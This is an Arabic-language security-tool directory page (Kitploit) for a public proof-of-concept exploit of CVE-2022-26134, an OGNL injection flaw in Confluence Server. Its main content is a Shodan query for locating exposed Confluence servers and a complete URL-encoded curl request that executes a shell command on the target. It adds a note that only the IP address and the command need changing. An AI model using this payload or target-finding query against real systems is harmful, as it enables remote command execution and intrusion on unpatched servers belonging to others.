Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Confluence-CVE-2022-26134 — استغلال إثبات المفهوم لثغرة CVE-2022-26134 في Confluence Server، باستخدام حقن OGNL لتنفيذ الأوامر عبر طلبات HTTP مصممة خصيصًا. | Kitploit
أدوات/GitHubGitHub/y000o/confluence-cve-2022-26134
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرة
GitHuby000o/confluence-cve-2022-26134

Confluence-CVE-2022-26134

استغلال إثبات المفهوم لثغرة CVE-2022-26134 في Confluence Server، باستخدام حقن OGNL لتنفيذ الأوامر عبر طلبات HTTP مصممة خصيصًا.

عرض المستودع
422منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Confluence-CVE-2022-26134

dork في Shodan

root@kitploit:~
https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2

Curl poc

root@kitploit:~
curl -v http://10.0.0.247:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/

تحتاج فقط إلى تعديل عنوان IP والأمر

تنزيل الأداة